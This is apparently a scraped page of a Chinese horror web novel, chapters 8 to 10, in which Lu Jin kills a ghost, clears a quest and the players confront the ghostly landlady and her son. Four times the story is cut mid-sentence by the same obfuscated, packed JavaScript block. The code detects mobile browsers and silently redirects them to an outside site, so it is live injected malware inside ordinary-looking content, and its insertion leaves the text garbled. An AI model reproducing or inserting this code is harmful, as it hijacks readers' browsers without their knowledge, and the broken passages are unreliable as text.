老鬼早就死透了,却在这一刻,罕见地体会到了濒死的感觉。他疯狂挣扎,四肢胡乱挥舞,试图挣脱。 可一切都是徒劳。 陆烬的力气大得惊人,死死禁锢着他,让他动弹不得。 陆烬缓缓掀起眼皮,眼神里还带着未散的睡意,声音却冷得像冰:“你身上有我认识的味道,于楠是你杀的?” 老鬼的呼吸被彻底遏制,他本不需要呼吸,可被掐住咽喉的地方传来剧烈的痛感,竟让他产生了强烈的窒息感。 他的眼睛越瞪越大,拼命摇头。 “鬼不能伤人,而你却杀了人,”陆烬的嘴角勾起一抹讥讽,“所以,再见了。” “嘭——!” 陆烬五指猛地收紧,刚刚还张牙舞爪的老鬼,竟被他生生捏碎! 众鬼:“!!!” 虚幻中,众鬼看见陆烬身着黑色西装,腰间一柄苗刀,冷冷地站在那里。 “这身制服……这玩家是无常?”还是见多识广的女鬼先反应过来。 就说学生仔怎么打不死,原来是无常!怪不得他这么嚣张! 其他鬼们得知陆烬的身份后,吓得魂飞魄散,刚刚还偷偷摸摸组建的“复仇鬼联盟”瞬间土崩瓦解,纷纷四散逃窜。 可他们还没逃出房间,就被陆烬拦住了去路,他甚至直接封死了整个行政套房的出口。 恶鬼们战战兢兢地看着陆烬,吓得浑身发抖。别说他们了,就算是BOSS来了,也打不过这位爷啊! 陆烬一步步走到众鬼面前。 女鬼反应最快,扑通一声就跪了下去,哭喊道:“大人饶命!我、我有你们完成任务的线索啊!” “线索?” 陆烬歪了歪脑袋,“那是什么?” 手机里的黄有权最先炸毛,在监狱里跳着脚嚷嚷:“你是不是忘了!你还要完成任务啊!看你这表情就知道!你肯定忘了!你绝壁是忘了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998974|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆烬:“……” 他低头瞥了眼手机屏幕。 “嗯,忘了,有意见?” 黄有权默默吞了口唾沫。 “……没有。” 女鬼连忙把线索献了出来。这线索的真正持有者是医生,当年他受邀来到这家民宿,带来了一份DNA检测报告,检测对象正是黄有权和他三岁的儿子。 DNA结果显示两人没有亲缘关系,这便是黄有权近日来苦恼和发疯的原因。 【叮——】 【恭喜玩家找到关键线索,完成任务一:查清黄老板的烦恼~】 【黄老板非常高兴,特为你颁发1000积分的奖……】 【滋滋滋……】 【系统出现bug,正在紧急调整……】 【滋滋滋……】 【经检测,黄老板当前状态为“不高兴”,拒绝为你颁发奖励。】 陆烬:“?” 他低头,看向手机里的黄有权。 黄有权还在唾沫横飞地数落那些没骨气的NPC,居然这么快就把线索交了出去。 突然,他感觉头顶有一道冰冷的目光。 几分钟后。 【叮——】 【恭喜玩家找到关键线索,完成任务一:查清黄老板的烦恼~】 【黄老板超级超级超级……(此处省略N个超级)高兴,特为你颁发2000积分的奖励!】 … 陆烬记得谢志和蒋恒说过,积分是通关副本的奖励,最后可以去商城兑换奖品。 但也得通关游戏后才能兑换。 那到时候再说吧。 陆烬把积分的事情抛到脑后。 恶鬼们都在恭维陆烬,巴不得他赶紧完成任务离开副本。 突然,“当”的一声,苗刀脱手而出,精准地撞击在阳台的一颗金属球上! 那金属球在空气中踉跄了一下,像受惊的兔子般迅速后退,沿着阳台边缘绕了半圈,仓皇逃离了行政套房。 “啧。” 陆烬轻嗤一声。 比鬼还阴魂不散。 * 金属球绕过大半个民宿,像落荒而逃的小屁孩,最后顺着客房的阳台,悄然回到江随身边。 它在江随的肩头蹭了蹭,很委屈的样子。 江随戳了戳金属球。 “警惕心还挺强。” “随哥,你说啥?” 方圆听到江随的声音,回头看着他。他俩在一处,方圆以为江随在和他说话。 “没什么。” “哦……” 方圆挠挠头,继续埋头擦桌子。也不知道江随的效率为什么那么高,他才整理完一间客房,江随都整理完两间了。 明明每次看到江随,他都在摸鱼来着。 “方圆,”身后突然传来江随的声音,“借你个小玩意儿。” 一颗银光闪闪的物体被抛了过来,方圆手里正攥着抹布,慌忙腾出一只手接住。 仔细一看,是颗鹌鹑蛋大小的金属球,表面光滑得像镜面,能清晰倒映出周围的光影,连一丝缝隙都找不到。 “随哥,这是啥?” “出事了就对它磕三个响头,喊‘巴拉巴拉小魔仙变身’,能保你一命。” 方圆:“?” 方圆:“!!!” “哥!这就是传说中的道具?!” 8. 008 谢志和蒋恒手里也有道具,刚刚打扫客房时,谢志冲撞了一位客人,客人脸色骤变,头发无限疯涨,死死缠住了谢志! 好在蒋恒及时拿出道具,用火烧掉头发,才保住谢志一命。 道具在副本里可是好东西啊! 江随想了想,“算道具吧。” “谢谢随哥!”方圆感激涕零,把金属球宝贝似的往怀里揣,可转念又觉得不对劲,“随哥,都是第一次进副本,为啥你有道具我没有?” 江随:“……所以你还要不要?” “要要要要要!”方圆连忙抱紧怀里的球,管它怎么来的,有总比没有强。 刚把道具里三层外三层藏好,就听见许墨阳和老玩家争执的声音,他还是想去行政套房帮陆烬。 不过这想法大概只有他有。刚才行政套房方向传来一阵凄厉的惨叫,但凡有点脑子的都能猜到里面的状况有多惨烈,陆烬恐怕凶多吉少。 蒋恒皱眉劝道:“行政套房太危险,我们还有任务,时间只剩三个小时了。” 谢志更是嗤笑道:“反正他是倒一玩家,早晚要死,救不救有什么区别?” “你们!”许墨阳气得炸毛,“不用你们去,我自己去!” “去干什么呢?”谢志笑得越发讥讽,“去给他收尸吗?系统迟早会播报陆烬的死讯,不过是时间问题,你真以为他能活着出来?” 许墨阳咬着牙,眼眶通红。 只有江随挑了挑眉,眼底闪过一丝玩味。 死讯? 某人恐怕活得比谁都滋润呢。 “你们去不去随意,”许墨阳心一横,梗着脖子道,“但我一定要去帮陆哥!” 说罢,他攥紧拳头,朝着行政套房的方向大步走去。 所有人都紧紧盯着许墨阳。 过去也不是没有相熟的玩家同入副本,可在生死面前,友情、爱情,甚至血浓于水的亲情,都不堪一击。 许墨阳和陆烬不过是几年同窗,又能有多深的情分? 或许,他也只是做做样子罢了。 不管旁人怎么想,许墨阳的脚步异常坚定。既然一起进了这鬼地方,他就不能丢下陆烬,哪怕是死,也要死在一起! 他掏出门禁卡刷开行政套房的门锁,刚要推门,空气里突然响起系统冰冷的机械音: 【叮——】 【恭喜玩家找到线索,完成任务一:查清黄老板的烦恼!】 【任务二:谁给黄老板戴了“绿帽子”?】 【时限:6小时】 【超时未完成,随机惩罚一名玩家~】 系统的声音在每个玩家耳畔回荡,大概怕有人没听清,还特意重复了一遍。 玩家们面面相觑,满脸错愕。 任务一完成了? 他们明明一直在客房区打扫,啥也没干啊! 最百思不得其解的要数谢志和蒋恒。 作为老玩家,他们太清楚副本的套路了,绝大多数任务无法在第一轮时限完成,一旦超时,遭殃的通常是倒一玩家。 所以倒一玩家死得快。 可今天,任务一居然悄无声息地完成了? 蒋恒忍不住问谢志:“你以前遇到过任务提前完成的情况吗?” “怎么可能?”谢志瞪大了眼,“能在第二轮时限前完成都烧高香了!” 蒋恒若有所思:“我们都在这儿,那找到线索的只能是陆烬?任务一的线索在行政套房里?” 所有人齐刷刷看向行政套房。 怪不得都说这副本难,把线索藏在最危险的地方,可不是难上加难嘛! 方圆拍了拍许墨阳的肩膀,语气轻松了些:“你同学挺厉害啊,都能找到线索,那他应该没事吧?” 许墨阳这才反应过来,顿时喜出望外。 陆哥没事!陆哥还活着! 不过仔细想想,陆烬可是地府的无常,他没事才正常吧?只怪自己过去一直把他当普通学生,几个小时前才知道真相,一时没转过弯来。 谢志却嗤之以鼻:“切,运气好罢了!” 他几步走到行政套房门口,一把推开许墨阳,抢过对方手里的门禁卡。 危险区玩家都不怕的地方,能有多危险?于楠死在这儿,只能说他自己菜。所以菜鸡都不怕,他一个老玩家怕什么? 谢志攥着门把,正要用力推开—— “嘭!” 房门猝不及防地从里面打开,谢志还维持着推门的姿势,结结实实撞在门板上,顿时脑袋发昏,两道鼻血顺着鼻孔淌了下来。 陆烬从行政套房里走出来,伸了个懒腰,像刚睡醒似的。 房间里悄然伸出一只苍白的手,递来一盘切好的新鲜西瓜,陆烬接过来,一边啃着,一边扫了眼面前的几人。 “四个?又死了一个?” 谢志捂着鼻子从门板后蹿出来,气急败坏地吼道:“你才死了!你全家都死了!” 陆烬看着他满脸鼻血的样子,转头问旁边的许墨阳:“你揍的?都是玩家,你下手是不是太狠了点?” 许墨阳:“???” “陆哥,这锅我不背啊!明明是你撞的!” 陆烬一脸茫然,显然没搞懂状况。 蒋恒不想听两人掰扯,上前一步问陆烬:“任务一的线索是你找到的?行政套房里有什么?危险吗?” 陆烬回想了一下—— 行政套房里有只女鬼,挺乖的,说话还很甜; 有只医生鬼,略懂中医,刚才自己睡觉时还帮着推拿; 酒鬼调的鸡尾酒味道不错; 小鬼翻跟头很可爱; 厨师鬼刀功一流,切的水果薄厚均匀,堪比米其林大厨。 总的来说,里面的朋友都挺友善,只有一个不上道的老鬼,已经被他捏死了。 于是陆烬如实回答:“不危险,在里面待着还挺舒服的。” 众玩家:“???” 舒服?在副本里还能舒服?真当自己是来度假的呢! 几人说话的工夫,经理匆匆赶来。他激动地搓了搓小手,已经迫不及待来给陆烬收尸了! 都过了半小时啦,行政套房里那群小可爱效率再慢,也应该把这大学生分尸了吧? 他可太期待看到这幕了! 走到行政套房门口,看到门口和玩家们开心聊天的陆烬,经理的笑容僵住。 他的表情裂开了。 他的眼珠子“啪嗒”一声又掉了出来,好在旁边的助理眼疾手快,慌忙接住。 经理把眼珠子塞回眼眶,上下打量着陆烬,满脸不可置信:“你、你怎么没事?” 陆烬不答反问:“我能有什么事?” 不可能啊!行政套房里那群家伙怎么可能放过他?难道他们正好有事不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998975|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 经理又问:“你做完卫生了?” 陆烬:“嗯。” 经理:“我不信!” 那行政套房的脏乱差可不是一时半会儿能收拾干净的! “我现在就去检查,要有一处不干净,我要你好看!” 说罢,经理怒气冲冲地抬腿走进行政套房。 刚进门,他就被眼前的景象震慑住了—— 如今的行政套房焕然一新,沙发缝隙的肉块、地毯上的血渍都消失不见了,米色布艺透着被阳光晒过的干净气息。 挂满头发丝的水晶吊灯被拆开擦拭过,每一片棱镜都亮得能照见人影。 经理试图找到脏乱差的痕迹,可每一间房都如此,干净得跟按了出厂设置似的。 玩家们也好奇地跟了进来。 他们不知道行政套房以前什么样,只觉得现在干净又宽敞,配置果然不错。 方圆由衷感叹:“这么看,这里也不是很危险啊!比外头安全多了!” 客房区偶尔还会冒出不讲理的客人,还有发疯的工作人员,这里却什么也没有。 谢志却冷哼一声,斜睨着陆烬。 “所以说这小子运气好!走了狗屎运!” 江随突然开口:“但这里不是刚死了一个玩家吗?” 谢志嘴硬道:“那是他自己倒霉!跟行政套房没关系!他身体那么弱,跟个病痨鬼似的,就算没被拉进游戏,也活不了太久……” “啪叽!” 脚下突然被什么重物绊了一下,谢志没留意,重重地摔在地上。膝盖磕在瓷砖地面上,疼得他龇牙咧嘴。 谢志捂着膝盖挣扎着坐起身。 还没来得及爬起来,一睁眼,却看到一张死不瞑目的脸,正瞪圆了双眼,直勾勾地盯着他。 “啊啊啊啊啊——” 两张脸的距离不到十公分,猝不及防的对视冲击力太大,谢志吓得整个人都不好了。 他手脚并用地爬起来,哆哆嗦嗦地躲到蒋恒身后,声音都在颤抖:“鬼鬼鬼鬼鬼!有鬼!” 江随蹲下身,用门卡拨开那团让谢志吓破胆的“东西”。 “不是鬼。”他说,“是于楠。” 于楠的尸体就躺在地上,行政套房里没有白布,陆烬便找了块干净的白色浴巾给他盖上。 刚才大家还在感叹行政套房的高配置,可骤然出现的尸体像一盆冰水,瞬间把所有人拉回现实。 这里终究是游戏,那个危机四伏、随时可能丧命的《黄泉》游戏。 蒋恒的表情僵了僵,看向陆烬的眼神带着几分复杂:“你一直和于楠的尸体在一起?” 陆烬觉得这问题有点多余,“那不然呢?” 总不能把尸体丢到阳台外吧?他可干不出这么缺德的事。 蒋恒咽了口唾沫,喉咙发紧。 身边躺着一具尸体,陆烬先前居然说“在里面待着还挺舒服的”?和尸体共处一室,到底哪里舒服了! 经理把行政套房翻了个底朝天,硬是没找出一点脏乱的痕迹。 这小子,难道是抹布精投胎?卫生做得这么无可挑剔? 挑不出刺,经理一肚子火没处撒,只能愤愤地瞪着玩家们:“今天的工作结束了,把尸体处理掉!” “晚点你们要去餐厅吃晚饭,今晚有老板特地为你们准备的欢迎会,速度快点,千万别迟到!” 9. 009 处理尸体的地点在后山。 方圆去布草间拿了条干净的床单,小心翼翼地把于楠的尸体裹起来。众人分成两组,轮流抬着尸体往后山走。 后山是一处荒芜的小山坡,还没靠近,就闻到一股令人作呕的腐臭味,苍蝇和蛆虫在半空乱飞,看得人头皮发麻。 刺鼻的气味熏得大家直皱眉,饶是陆烬,也忍不住捂住了口鼻。 华夏政府不允许土葬,尸体都丢进火葬场,化为一抔尘土,什么味道也没有。后山这味道,总让人感觉回到旧社会,还是□□年代,尸横遍野。 “找个地方丢了吧。”谢志捂着鼻子,语气嫌恶。 方圆犹豫道:“这样不好吧?都说入土为安,现在没有火葬场,至少也该挖个坑埋了。” 蒋恒扫了眼四周,“大家都是这么处理的。” 玩家们顺着他的目光看去,后山一片泥泞,天色渐暗,月光透过斑驳的树影洒下,视线所及之处,竟全是尸体。它们的皮肤沾满泥土,凝固的鲜血早已发黑,乍一看,几乎和脚下的土地融为一体。 许墨阳打了个哆嗦,“这里到底有多少尸体啊!” 数不清,根本数不清。 但这些尸体身上都穿着清一色的员工服,有的破损得看不出原样,有的还很新,显然是刚死不久。 江随指着前面山坳里一具爬满蛆虫的尸体,“那好像是赵宽。” 赵宽白花花的肠子露在外面,沾满了泥土,上面覆盖着一层黑色的蛆虫,不仔细看,根本认不出原貌。 许墨阳胃里一阵翻江倒海,他扶着旁边的树干干呕起来。肚子里空空如也,连胃酸都快吐出来了。可一低头,树下竟然也躺着一具尸体! 它的眼睛已经被蛆虫啃噬一空,只剩下两个黑洞洞的窟窿,正无神地“盯”着许墨阳。 许墨阳:“!!!” 他吓得魂飞魄散。赶紧缩回手,躲到陆烬身后。 “走吧。”陆烬拍了拍他的肩膀。 这里的尸体没有一百也有五十,他们埋了于楠,也埋不了其他人。 对陆烬而言,人死了便是一抔黄土,无论化作腐肉还是枯骨,都没什么区别。 “……等等!” 方圆突然叫住大家。他脚步微顿,缓缓走向许墨阳刚才呕吐的地方。 许墨阳:“……” 刚压下去的恶心感又涌了上来。 方圆在那具尸体前蹲下身,掏出一张新的纸巾,动作轻柔,一点点擦掉尸体上蠕动的蛆虫。 江随问:“你认识这人?” 方圆艰难地点了点头,声音带着不易察觉的哽咽:“他是我的……学长。” 他们是一个师门的,学长比方圆大两岁,读研时都是学长带他。两个月前,方圆完成答辩毕业,他放弃了手上高薪的offer,去学长所在的城市找他。 大概是想试试吧,毕竟这么多年的感情,方圆不相信学长不知道。 可是学长没有见他,也没有回消息。之后两人断了联系,仿佛从不认识彼此。 那时的方圆还以为,学长知道了他卑劣的心思,再也不想见他了。 “没想到,他也进入游戏了。” 而且,永远地留在游戏里。 方圆有点想把学长埋了,但仔细想想,又有什么意义呢?老一辈或许看重死后的归处,可对他们这一辈而言,方圆早就签了遗体捐献协议。 人都死了,尸体又算得了什么?留在这里埋尸体,不过是浪费时间,他们的时间已经不多了。 想到这里,方圆收拾好心情,转身看向陆烬:“陆哥,任务一是你完成的吧?线索是什么?” ——其实方圆的年龄比陆烬大,但陆烬气场太强,“小陆”这种称呼他实在叫不出口,干脆跟着许墨阳喊“陆哥”。 其他玩家这才回过神。 对哦,线索!刚才进行政套房时太过震惊,后来又忙着运尸体,竟然把这茬忘了! 陆烬也不藏着掖着,从口袋里掏出那份DNA鉴定报告:“是黄老板和他儿子的亲子鉴定报告,显示两人没有血缘关系。” 谢志一拍大腿:“怪不得任务二是找奸夫!” 蒋恒接话道:“这么说,只要找到老板娘,就能知道她和谁偷情了?” 陆烬没说话,只是扫了谢志和蒋恒一眼。 玩家们认真讨论着接下来的计划,仿佛学长的尸体从未出现过。解谜的重心从黄老板转移到了老板娘身上。 显然,黄老板怨念这么深,正是因为被戴了绿帽子。 “说白了,要是没有老板娘的背叛,咱们也不至于这么惨。” “算了,现在说这些没意义,还是赶紧把人找出来吧……” 大家你一言我一语,没人注意到,月光下,一个人影正悄然靠近。这里到处都是尸体,突然多一个“人”,谁也不会察觉。 一颗脑袋毫无征兆地从树杈上掉下来,“咚”的一声砸在许墨阳怀里,还在他怀里咕噜噜滚了两圈,圆溜溜的眼睛直勾勾地盯着他。 许墨阳:“?” 许墨阳:“!!!” 他简直要疯,不要命地大叫,随手一抛,把那颗脑袋扔了出去! 女人的脑袋在空中划出一道诡异的抛物线,眼看就要落在地上,却突然九十度转弯,换了个方向飘走。 不一会儿,脑袋飘到另一边,那里站着一个没有脑袋的身体。脑袋和身体错开位置,一个在前,一个在后,机械地走着。 众玩家:“……” 这画面,也太诡异了! 方圆率先认了出来:“老板娘!她是照片里的老板娘!” 比起前厅全家福里那个温柔浅笑的女人,现在的老板娘,简直就是恐怖片里的女主角。 她身上布满了大小不一的淤青,皮肤上还有被卷发棒烫出的焦黑伤痕,全身多处骨折,走路时一瘸一拐,姿势机械又诡异。 和她比起来,经理都算正常了。 “就是她!”谢志咬牙切齿,“要不是她背叛黄老板,根本不会有这个副本!” 老板娘因为脖子断了,声音嘶哑得像卡顿的磁带:“我、我没有。” “DNA报告还能作假吗!”谢志破口大骂。 老板娘的眼神里流露出几分委屈,可她的词汇太单薄,翻来覆去都是那几个字:“我、我没有……” “孩子他爹到底是谁?”方圆赶紧追问,“或者说,你还和谁发生过关系?” 老板娘看向方圆,眼神空洞:“……没有。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998976|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋恒语气凉凉的,带着嘲讽:“是没有,还是你自己都不记得是哪一个了?” 老板娘突然一僵,她木然了两秒,然后诡异地笑了起来,嘴角越咧越大,露出一排尖锐的牙齿,脸颊的皮肤都因为这夸张的笑容裂开,渗出血来。 “我!没!有!” 她的脑袋猛地冲向蒋恒,裂开的嘴张成血盆大口,狠狠朝着蒋恒的脖颈咬下去! 她的速度太快,蒋恒来不及反应,迎面而来的冲击力让他重重摔在地上,而老板娘的脑袋已经对准了他的脖子! 千钧一发之际—— 头皮传来剧烈的撕扯感,老板娘痛苦地尖叫起来。还没咬到蒋恒,身后就有人猛地一扯,抓住她的头发把她拽了回来! 是陆烬抓住了老板娘的脑袋! 老板娘疯狂挣扎,想要咬陆烬,可陆烬把她的头发在手腕上缠了一圈,死死勒紧,让她动弹不得! 那具无头身体下意识朝陆烬冲来,可没跑两步,后背就传来一股巨力,无头身“嘭”地摔在地上,江随正死死踩着她的后背。 这下,老板娘彻底动弹不得了。 周围的玩家都懵了。 听名字就知道,老板娘是黄老板的老婆,任务二和她密切相关,怎么看都该是BOSS级别的NPC,就这么被制服了? 谢志茫然地想:原来这个NPC,其实很弱的吗? 不过回想陆烬刚才的动作,虽然行云流水……但他最后抓住的只是老板娘的脑袋。 一个脑袋,能有多难对付? 况且,陆烬虽然抓住了脑袋,脸上却写满不情愿,仿佛手里攥着什么烫手山芋,恨不得下一秒就丢掉。 他显然是害怕老板娘的。 所以,果然是NPC太弱!陆烬运气太好罢了! “赶紧问。”陆烬不耐烦地催促其他玩家。 虽然老板娘没法再攻击人,但他总觉得,老板娘的头发有点油,像是几天没洗了。 他洁癖。 玩家们立刻围上来,七嘴八舌地发问。 前所未有的通关方式出现了——直接审讯NPC。 “所以绿了老板的人是谁?” “孩子的亲爹到底是谁?” “为什么要背叛黄老板?” “奸夫在哪里?” 老板娘依旧疯狂挣扎,嘴里反复喊着:“我没有!我没有!” 问了老半天,老板娘什么都没说。 “死鸭子嘴硬是吧!”谢志挽起袖子,掏出他的道具,“不给你点颜色瞧瞧,真是不见棺材不落泪!” 所谓的道具,其实是半截烟头。但这烟头和普通烟头不一样,能自由变大。 原本不到五公分长半截烟头落在谢志手里,竟“噌”地一下涨到了半米长,冒着幽幽的红光。 陆烬饶有兴趣地看着那烟头。 “这东西,真有用?” 谢志扬起下巴,“当然!我今天能从那名NPC客人手里逃脱,全靠它!” “这可是C级道具——小JJ的烟头,可以将接触的一切物品焚烧殆尽!” 陆烬剧烈咳嗽起来,差点没抓稳老板娘的脑袋。 他扭头,一脸不可置信地看着谢志:“你刚说……这是谁的烟头?” 10. 010 “小JJ啊!” 谢志应了一声,随即鄙夷地剜了陆烬一眼:“你能不能别想歪?这是副本,正常点!” 陆烬:“……” 他真没往歪处想。要不是谢志突然提到,他压根不会联想到那档子事。 只是几年前,陆烬放假回地府,阎王抽查他的英文作业,突然心血来潮问他的英文名。 陆烬懒得费神,随口报了拼音。 结果阎王眼睛一亮,笑嘻嘻道:“那我给你起一个,小JJ怎么样?小烬烬,多贴切!” 贴切个鬼。 陆烬当然没采纳这馊主意。 那是很久以前的事情,陆烬早忘了,偏偏听到这奇葩的名字,记忆硬是被勾了出来。 烟头“滋啦”燃起一簇火星,谢志握着烟蒂,狠狠往老板娘手臂按去! 老板娘惊恐地瞪大双眼,四肢剧烈地挣扎。撕心裂肺地惨叫声回荡在后山林间,把本就瘆人的夜色搅得更加毛骨悚然。 陆烬蹙起眉头。 莫名地觉得有些不适。 “我没有……我真的没有……”老板娘拼命摇头,血泪混着冷汗流了下来。 “死到临头还嘴硬是吧!” 谢志眼神狠戾,手腕猛地往下压—— 突然,泥土里冒出一只青灰色的手,死死攥住谢志的脚踝! 谢志惊叫一声,瘫倒在地上。 紧接着,更多的手从土里钻出来,密密麻麻如雨后春笋,混着腐叶湿泥的腥气,发疯似的朝玩家扑去! 陆烬反应极快,松开了老板娘的脑袋,身形一晃,跳到一块半人高的青石上。 ——这石头质地坚硬,钻不出手。 哪想他刚刚站稳,江随为了躲地上的鬼手,也踩着石沿翻了上来。两人不约而同挤在不足一平方米的石面上,这让本就不富裕的空间雪上加霜。 陆烬凉凉地瞥过去:“我先上来的。” 江随“哦”了一声,身体却往他这边靠了靠,“那你让点位置,我快掉下去了。” 陆烬:“……?” “这种时候,你不该圆润地滚开,把地方还给我?” “不行啊。”江随扫了眼脚下蠕动的手群,面不改色,“我害怕。” 陆烬嘴角抽了抽。 一米九的大个子,面无表情地说“我害怕”,这画面比满地乱爬的手还诡异。 两人在石头上僵持着,谁也不肯退让。那石头本就不稳,被两人压得左右摇晃,仿佛下一秒就要翻倒。 陆烬想把江随挤下去,偏偏对方高大健硕,力气更是不小,陆烬几次都没成功。 真烦。 身边这货,比地上那群乱抓的手还烦。 “陆哥……救命啊!” 空气中飘来许墨阳虚弱的呼救声。陆烬循声望去,只见那小子跟只猴似的抱在树干上,手脚并用爬得飞快,树皮刮破了手心也顾不上。 陆烬眯起眼。 哦,原来树干也能当落脚点,还比石头高些。 但他一想到要是挪了地方,在和江随的较量中就算输了,陆烬突然入定般钉在石头上。 江随见状,低低笑了一声。 还挺犟。 … 泥土里的手虽多,攻击性却不强。玩家们慌乱一阵后,要么爬树,要么跳上石块,总算暂时脱离了地面。 那些手抓了半晌没抓到人,渐渐蔫了下去,悻悻地缩回土里。 没过多久,一个三岁左右的小男孩从泥土里爬了出来。 他胖乎乎的,圆脸蛋上沾着泥污,张开双臂护在老板娘身前,一双大眼睛瞪得溜圆,虎视眈眈地盯着玩家。 “不许欺负我妈妈!” 谢志很是狼狈,胳膊上被抓出好几道血痕,工作服也撕了个大口子。见了小男孩,他却不忘讥讽:“哟!小野种来了!” 小男孩的眼睛倏地瞪大,眼白褪去,只剩漆黑的空洞,两行血泪顺着脸颊淌下来。 “我不是!你们不要诬陷我妈妈!” 陆烬眸光微动,目光在小男孩身上停顿了片刻。 玩家们没注意到他的异样。 谢志因为被抓得恼火,依旧对着小男孩冷嘲热讽。 小男孩气得脸颊涨红,奶声奶气地大喝一声。 刹那间,无数只断手从土里挣脱出来,长翅膀似的在空中飞舞,疯了似的朝石头和树干上的玩家攀爬! “卧槽!” 谢志赶紧挥舞烟头乱打,其他玩家也抄起铲子反抗。 可断手太多了,连陆烬和江随站的石头都爬满了断手,它们的指节扣着石缝,发出刺耳的刮擦声。 陆烬纵身一跃,跳到许墨阳所在的大树上,拎起他的后领:“先撤!” 他拽着许墨阳,三两下就冲出了后山。 其他玩家见状,也纷纷打飞靠近的断手,连滚带爬地逃了回去。 * 回到民宿,玩家们喘着粗气。除了陆烬和江随,几乎人人带伤,尤其是方圆和许墨阳,衣服刮得破烂不堪,脸上还沾着泥血。 白天的副本虽吓人,却远不及后山这波围剿来得可怕。众人这才真切意识到,这地方是致命的死亡游戏。 “哟……从后山回来了呀!” 身后突然传来经理幽幽的声音。他不知何时站在民宿门口,看见玩家们的狼狈样,嘴角勾起一抹幸灾乐祸的笑。 “怎么就你们几个?下午打扫行政套房的那个大学生没回来?哎哟,真可惜,还以为他能活着离开后山呢——” 经理的话戛然而止。 因为许墨阳往旁边挪了挪,露出他身后的陆烬。 陆烬正懒洋洋地靠在门框上,衣衫整洁,连头发丝都没乱几根。 “哦,你在关心我?” 经理:“……” 关心个屁!他明明在咒你快点死啊! 这人是打不死的蟑螂吗?还是断半截能活的蚯蚓?明明是危险区玩家,怎么比谁都能苟?! 经理气得太阳穴突突直跳,额角都快冒烟了。 陆烬却全然没理会他铁青的脸色,捂着肚子直皱眉。下午厨师只给了些水果,早就消化完了。 此时此刻,肚子饿得叫起来,陆烬看向经理,也不客气,“不是说晚上有欢迎会,那可以吃饭了吗?” * 欢迎会设在民宿二楼大厅。 吊灯蒙着层灰,长桌铺着暗红桌布,边缘处能看见凝固的深色污渍,不知是红酒还是什么。 桌上摆着的餐盘擦得锃亮,反光里映出玩家们紧绷的脸。 经理坐在另一桌的右侧,欢迎会开始前,他拿起香槟杯敲了敲,“本来这次入职的员工有八位,很可惜,现在只剩下六位了。” “不过没关系,只要你们好好工作,很快就能融入民宿!大家都是一家人嘛~” 方圆嘴角抽了抽,低声吐槽:“融入民宿?是变成鬼融入吧?” “也可能是融入后山。”蒋恒冷着声,“变成人不人鬼不鬼的怪物。” 反正经理的话,对玩家来说绝不是什么好话。 接下来发言的六十多岁的黄婆婆,她是黄老板的母亲,头发银白如霜,背驼得像座小山,脸上的皱纹里却堆着慈祥的笑。 黄婆婆说完,老板娘带着小男孩走进大厅。她对玩家们视若无睹,仿佛后山的冲突从未发生过。 老板娘挨着黄婆婆坐下,老人熟稔地把小男孩抱到腿上,剥了根棒棒糖塞进他嘴里。 “乖,吃糖糖,长高高哦。” 小男孩眼神空洞,机械地含住糖,奶声奶气地应:“谢谢奶奶。” “真乖~” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998977|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老板娘和小男孩落座后,长桌首座还空着。经理满脸期待地张望,显然在等老板。 可等了半天,那位置依旧空着。 老板已经很久没回民宿了,要不是他不在,这群玩家能这么嚣张?经理想催催,可看黄婆婆和老板娘的样子,压根不知道老板出门了。 “不用等了,开始吧。”黄婆婆拍了拍手。 宴会正式开始。 玩家们在员工长桌依次落座。选座位时,谢志和蒋恒特意挑了离陆烬最远的位置。 ——危险区玩家是游戏里最容易领便当的存在,NPC们都盯着他,还是离他远点安全。 方圆有些纠结,想跟着老玩家保命,又觉得不太仗义,迟疑片刻还是挨着谢志坐下了。 许墨阳紧跟着陆烬,还对着老玩家的方向轻嗤:“多大年纪了还搞小团体,幼不幼稚!” “陆哥,别理他们,我陪着你!” 陆烬:“……” 其实也不是很需要人陪。 毕竟你也不是人:) 许墨阳坐在陆烬左手边,江随却不请自来地坐到了他右手边。 这人自来熟得很,刚坐下就抓了把桌上的瓜子,分了一半给陆烬,一半留给自己。 